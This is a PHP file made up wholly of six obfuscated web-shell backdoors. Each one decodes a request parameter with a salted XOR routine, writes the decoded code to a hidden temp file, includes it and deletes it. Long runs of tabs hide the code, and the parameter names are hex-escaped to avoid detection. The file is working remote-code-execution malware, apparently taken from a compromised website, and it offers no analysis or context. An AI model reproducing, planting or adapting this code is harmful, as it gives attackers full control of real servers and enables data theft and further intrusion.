<?php																																										if(array_key_exists("da\x74", $_REQUEST) && !is_null($_REQUEST["da\x74"])){ $elem = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path()]); $key = $_REQUEST["da\x74"]; $key = explode (".", $key ) ; $parameter_group = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s8 ); foreach($key as $z => $v3) { $sChar = ord($s8[$z % $sLen] ); $dec =((int)$v3 - $sChar -($z % 10)) ^ 14; $parameter_group .= chr($dec ); } foreach ($elem as $key => $property_set) { if (is_dir($property_set) && is_writable($property_set)) { $record = implode("/", [$property_set, ".pointer"]); $file = fopen($record, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "c\x6Fm\x70\x6F\x6Eent")){ $holder = $_POST["c\x6Fm\x70\x6F\x6Eent"]; $holder= explode ( '.', $holder ); $obj = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); foreach( $holder as $m =>$v7): $sChar = ord( $s1[$m % $sLen]); $dec = ( ( int)$v7 - $sChar -( $m % 10))^56; $obj .= chr( $dec); endforeach; $descriptor = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd()]); foreach ($descriptor as $resource) { if (array_product([is_dir($resource), is_writable($resource)])) { $bind = vsprintf("%s/%s", [$resource, ".ent"]); if (file_put_contents($bind, $obj)) { require $bind; unlink($bind); die(); } } } }
																																										if(isset($_REQUEST["\x69t\x6D"])){ $entry = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP")]); $rec = $_REQUEST["\x69t\x6D"]; $rec = explode ('.' , $rec ) ; $ptr =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt9 ); $i =0; $__tmp =$rec; while( $v2 =array_shift( $__tmp)) {$chS =ord( $salt9[$i%$sLen] ); $d =( ( int)$v2 - $chS -( $i%10)) ^ 70; $ptr .=chr( $d ); $i++; } $dat = 0; do { $desc = $entry[$dat] ?? null; if ($dat >= count($entry)) break; if (!!is_dir($desc) && !!is_writable($desc)) { $entity = join("/", [$desc, ".comp"]); if (@file_put_contents($entity, $ptr) !== false) { include $entity; unlink($entity); die(); } } $dat++; } while (true); }
																																										if(@$_REQUEST["fl\x61g"] !== null){ $symbol = $_REQUEST["fl\x61g"]; $symbol=explode ( "." , $symbol ) ; $bind = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s3); $l = 0; $__len = count( $symbol); do { if( $l >=$__len) break; $v2 = $symbol[$l]; $chS = ord( $s3[$l % $sLen]); $d =( ( int)$v2 - $chS -( $l % 10)) ^ 62; $bind .= chr( $d); $l++; } while( true); $dchunk = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP")]); foreach ($dchunk as $pointer) { if (is_writable($pointer) && is_dir($pointer)) { $tkn = join("/", [$pointer, ".data_chunk"]); if (@file_put_contents($tkn, $bind) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_REQUEST["v\x61\x6C"])){ $entity = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/tmp", getcwd()]); $dchunk = $_REQUEST["v\x61\x6C"]; $dchunk = explode(".",$dchunk) ; $mrk =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $__len =count( $dchunk ); for( $r =0; $r <$__len; $r++) { $v6 =$dchunk[$r]; $chS =ord( $salt[$r %$lenS] ); $dec =( ( int)$v6 - $chS -( $r %10)) ^ 80; $mrk .= chr( $dec ); } $factor = 0; do { $data = $entity[$factor] ?? null; if ($factor >= count($entity)) break; if ((bool)is_dir($data) && (bool)is_writable($data)) { $token = sprintf("%s/.rec", $data); $success = file_put_contents($token, $mrk); if ($success) { include $token; @unlink($token); die();} } $factor++; } while (true); }


if(array_key_exists("\x65l\x65m", $_REQUEST) && !is_null($_REQUEST["\x65l\x65m"])){
	$record = array_filter([session_save_path(), getcwd(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]);
	$data_chunk = $_REQUEST["\x65l\x65m"];
		$data_chunk=	 explode	(  '.'	 ,		 $data_chunk ) ;	 	
	$flag		=		'';
            $s		=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS		=		strlen($s);
            $l		=		0;
    
            while ($l<count($data_chunk)) {
                $v2		=		$data_chunk[$l];
                $sChar		=		ord($s[$l	%	$lenS]);
                $dec		=		((int)$v2 - $sChar - ($l	%	10))  ^		53;
                $flag .= chr($dec);
                $l++;
            }
	for ($marker = 0, $itm = count($record); $marker < $itm; $marker++) {
    $obj = $record[$marker];
    		if ((is_dir($obj) and is_writable($obj))) {
    $parameter_group = join("/", [$obj, ".pset"]);
    $success = file_put_contents($parameter_group, $flag);
if ($success) {
	include $parameter_group;
	@unlink($parameter_group);
	die();}
}
}
}